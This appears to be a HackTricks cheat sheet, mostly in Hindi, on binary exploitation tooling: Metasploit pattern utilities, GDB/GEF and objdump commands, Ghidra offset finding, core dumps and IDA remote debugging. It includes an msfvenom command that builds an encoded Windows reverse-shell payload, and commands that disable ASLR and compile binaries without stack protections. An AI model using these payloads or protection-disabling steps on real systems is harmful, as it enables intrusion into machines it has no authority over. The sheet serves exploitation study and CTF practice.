Exploiting Tools

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

शैलकोड

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

इंस्टॉल

apt-get install gdb

पैरामीटर

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

निर्देश

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

आप वैकल्पिक रूप से इस GEF का उपयोग कर सकते हैं जिसमें और भी दिलचस्प निर्देश शामिल हैं।

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

ट्रिक्स

GDB समान पते

जब आप GDB को डिबग कर रहे होंगे तो GDB के पते थोड़े भिन्न होंगे जो बाइनरी चलाई जाती है के पतों से। आप GDB को ऐसे ही पते बना सकते हैं:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<path> बाइनरी के पूर्ण पथ डालें

  • उसी पूर्ण पथ का उपयोग करके बाइनरी का शोषण करें

  • GDB का उपयोग करते समय PWD और OLDPWD समान होना चाहिए जब आप GDB का उपयोग कर रहे हों और जब बाइनरी का शोषण कर रहे हों।

फ़ंक्शन कोल करने के लिए बैकट्रेस

जब आपके पास एक स्थायी रूप से लिंक की गई बाइनरी होती है तो सभी फ़ंक्शन उस बाइनरी के होते हैं (और किसी बाहरी पुस्तकालय के नहीं)। इस मामले में बाइनरी द्वारा अनुसरण किया जाने वाला फ्लो निश्चित करना मुश्किल होगा। आप इस फ्लो को आसानी से पहचान सकते हैं गेबी के साथ बाइनरी को चलाकर जब तक आपसे इनपुट के लिए पूछा जाता है। फिर, इसे CTRL+C के साथ रोकें और bt (बैकट्रेस) कमांड का उपयोग करके कॉल किए गए फ़ंक्शन देखें:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB सर्वर

gdbserver --multi 0.0.0.0:23947 (IDA में आपको लिनक्स मशीन में एक्जीक्यूटेबल का पूर्ण पथ भरना होगा और विंडोज मशीन में)

Ghidra

स्टैक ऑफसेट खोजें

Ghidra बफर ओवरफ्लो के लिए ऑफसेट खोजने में बहुत उपयोगी है क्योंकि यह स्थानीय वेरिएबल्स के स्थान के बारे में जानकारी प्रदान करता है। उदाहरण के लिए, नीचे दिए गए उदाहरण में, local_bc में एक बफर फ्लो दिखाता है कि आपको 0xbc का ऑफसेट चाहिए। इसके अतिरिक्त, अगर local_10 एक कैनरी कुकी है तो यह दिखाता है कि इसे local_bc से ओवरराइट करने के लिए 0xac का ऑफसेट है। ध्यान रखें कि RIP को बचाया गया पहला 0x08 RBP से संबंधित है।

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

प्रोग्राम में प्रत्येक ओपकोड को प्रारंभ करें।

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> सुरक्षा के साथ कंपाइल करें नहीं -o --> आउटपुट -g --> कोड सहेजें (जीडीबी इसे देख सकेगा) echo 0 > /proc/sys/kernel/randomize_va_space --> लिनक्स में ASLR को निष्क्रिय करने के लिए

एक शेलकोड को कंपाइल करने के लिए: nasm -f elf assembly.asm --> ".o" लौटाएगा ld assembly.o -o shellcodeout --> एक्जीक्यूटेबल

Objdump

-d --> एक्जीक्यूटेबल खंडों को डिसएसेंबल करें (कंपाइल शेलकोड के ओपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन पता लगाएं...) -Mintel --> इंटेल सिंटैक्स -t --> सिम्बल्स तालिका -D --> सभी को डिसएसेंबल करें (स्थायी चर का पता) -s -j .dtors --> dtors खंड -s -j .got --> got खंड -D -s -j .plt --> plt खंड डिकॉम्पाइल ojdump -t --dynamic-relo ./exec | grep puts --> "puts" का पता बदलने के लिए objdump -D ./exec | grep "VAR_NAME" --> स्थायी चर का पता (ये DATA खंड में संग्रहीत होते हैं)।

Core dumps

  1. मेरे प्रोग्राम शुरू करने से पहले ulimit -c unlimited चलाएं

  2. sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t चलाएं

  3. sudo gdb --core=\<path/core> --quiet चलाएं

अधिक

ldd executable | grep libc.so.6 --> पता (यदि ASLR है, तो यह हर बार बदल जाएगा) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> पता बहुत बार बदलता है या नहीं देखने के लिए लूप readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" का ऑफसेट strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" का ऑफसेट

strace executable --> एक्जीक्यूटेबल द्वारा बुलाई गई फ़ंक्शन rabin2 -i ejecutable --> सभी फ़ंक्शनों का पता

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

दूरस्थ लिनक्स में डीबगिंग

IDA फ़ोल्डर के अंदर आप बाइनरी फ़ाइलें पा सकते हैं जो लिनक्स के अंदर एक बाइनरी को डीबग करने के लिए उपयोग की जा सकती हैं। इसके लिए linux_server या linux_server64 बाइनरी को लिनक्स सर्वर के अंदर ले जाएं और उसे उस फ़ोल्डर के अंदर चलाएं जो बाइनरी को समेटता है:

./linux_server64 -Ppass

तो, डीबगर कॉन्फ़िगर करें: डीबगर (लिनक्स रिमोट) --> प्रोसेस विकल्प...:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated